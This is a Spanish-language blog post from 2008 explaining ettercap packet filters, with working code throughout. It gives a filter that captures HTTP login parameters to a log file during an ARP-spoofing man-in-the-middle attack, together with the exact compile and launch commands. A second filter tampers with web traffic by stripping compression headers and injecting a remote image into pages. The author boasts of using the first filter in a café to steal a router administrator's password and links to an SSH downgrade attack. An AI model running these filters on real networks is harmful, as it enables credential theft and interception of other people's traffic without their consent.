jueves, julio 10, 2008
Filtering and Packet tampering con ettercap!
Ettercap es EL sniffer por excelencia. Y entre una de sus cualidades, tenemos lo que es un "filter".
Que es un "filter"? Un filter es un "script" que se ejecuta por cada paquete que pasa por nuestro amigo ettercap,pudiendo uno modificar ese paquete o simplemente analizarlo, antes de que ettercap lo reenvie....
Por lo que estuve viendo, las instrucciones son bastante limitadas, y mas si uno intenta volar a nivel de programador, pero, lo minimo indispensable lo tiene.

Por ejemplo: Filtro que dumpea todo lo que diga "login.php?usr=" en el paquete, con destino al puerto 80.

archivo: filtro.src

if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "login.php?usr="))
{
log(DECODED.data, "/tmp/interesantes.log");
msg("Escribiendo paquete posiblemente interesante a /tmp/interesantes.log\n");
}
}

Receta:
1-Guardarlo como filtro.src luego compilar con: etterfilter filtro.src -o filtro.if
2-Usarlo con ettercap, por ejemplo como: ettercap // // -T -M arp -F filtro.if -i wlan0
NOTA : el conjunto de datos encapsulados en DECODED, contiene los datos decodificados del paquete, en cambio DATA contiene los datos directamente desde el cable,lo que por ejemplo en un canal encriptado con ataque de MITM solo daria garbage-data.

El anterior ejemplo, sencillo por demás, busca en el paquete actual el string "login.php?usr=" y si lo encuentra, escribe el paquete completo en el archivo /tmp/interesantes.log. Pequeño y sencillo hack, que me permitio en un cafe de Stefano, saber la contraseña del admin del router wireless....pero esa es otroa historia xD!

Los filtros, como dije antes son batastante limitados, no permiten loops, no tienen forma facil de imprimir concatenacion de caracteres, y tampoco paso de varibles de tipo input, pero se pueden lograr cosas grosas, como por ejemplo....


############################################################################
# #
# Jolly Pwned -- ig.filter -- filter source file #
# #
# By Irongeek. based on code from ALoR & NaGA #
# Along with some help from Kev and jon.dmml #
# http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833 #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
msg("Filter Ran.\n");
}


nota: compilar, y levantar con ettercap igual que el anterior...


En fin, muy groso.


mas lecturas y cosas MAS grosas:
http://www.irongeek.com/i.php?page=security/ettercapfilter
man page de etterfilter:http://www.irongeek.com/i.php?page=backtrack-3-man/etterfilter#3
Joyita adicional:
SSH downgrade attack: http://openmaniak.com/ettercap_filter.php

Séxitos

Etiquetas:

 
posted by [DevNull] at 10:31 a. m. | Permalink |


0 Comments: